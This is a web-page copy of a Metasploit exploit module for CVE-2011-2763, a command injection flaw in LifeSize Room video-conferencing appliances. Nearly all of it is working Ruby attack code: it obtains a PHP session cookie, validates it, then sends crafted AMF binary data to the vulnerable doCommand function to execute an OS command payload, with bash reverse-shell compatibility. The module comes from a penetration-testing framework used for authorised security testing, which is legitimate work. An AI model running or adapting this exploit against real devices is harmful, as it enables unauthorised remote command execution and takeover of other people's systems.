Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/lifesize_room.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(update_info(info,12'Name' => 'LifeSize Room Command Injection',13'Description' => %q{14This module exploits a vulnerable resource in LifeSize15Room versions 3.5.3 and 4.7.18 to inject OS commands. LifeSize16Room is an appliance and thus the environment is limited17resulting in a small set of payload options.18},19'Author' =>20[21# SecureState R&D Team - Special Thanks To Chris Murrey22'Spencer McIntyre',23],24'License' => MSF_LICENSE,25'References' =>26[27[ 'CVE', '2011-2763' ],28[ 'OSVDB', '75212' ],29],30'Privileged' => false,31'Payload' =>32{33'DisableNops' => true,34'Space' => 65535, # limited by the two byte size in the AMF encoding35'Compat' =>36{37'PayloadType' => 'cmd cmd_bash',38'RequiredCmd' => 'generic bash-tcp',39}40},41'Platform' => [ 'unix' ],42'Arch' => ARCH_CMD,43'Targets' => [ [ 'Automatic', { } ] ],44'DisclosureDate' => '2011-07-13',45'DefaultTarget' => 0,46'Notes' =>47{48'Stability' => [ CRASH_SAFE, ],49'Reliability' => [ REPEATABLE_SESSION, ],50},51))52end5354def exploit55print_status("Requesting PHP Session...")56res = send_request_cgi({57'encode' => false,58'uri' => "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",59'method' => 'GET',60}, 10)6162if res.nil? || res.get_cookies.empty?63fail_with(Failure::NotFound, 'Could not obtain a Session ID')64end6566sessionid = 'PHPSESSID=' << res.get_cookies.split('PHPSESSID=')[1].split('; ')[0]6768headers = {69'Cookie' => sessionid,70'Content-Type' => 'application/x-amf',71}7273print_status("Validating PHP Session...")7475data = "\x00\x00\x00\x00\x00\x02\x00\x1b"76data << "LSRoom_Remoting.amfphpLogin"77data << "\x00\x02/1\x00\x00\x00"78data << "\x05\x0a\x00\x00\x00\x00\x00\x17"79data << "LSRoom_Remoting.getHost"80data << "\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00"8182res = send_request_cgi({83'encode' => false,84'uri' => '/gateway.php',85'data' => data,86'method' => 'POST',87'headers' => headers,88}, 10)8990if not res91fail_with(Failure::NotFound, 'Could not validate the Session ID')92return93end9495print_status("Sending Malicious POST Request...")9697# This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand98amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19"99amf_data << "LSRoom_Remoting.doCommand"100amf_data << "\x00\x02\x2f\x37\xff\xff\xff\xff"101amf_data << "\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}"102amf_data << "\x02\x00\x0dupgradeStatus"103104res = send_request_cgi({105'encode' => false,106'uri' => '/gateway.php?' << sessionid,107'data' => amf_data,108'method' => 'POST',109'headers' => headers110}, 10)111end112end113114115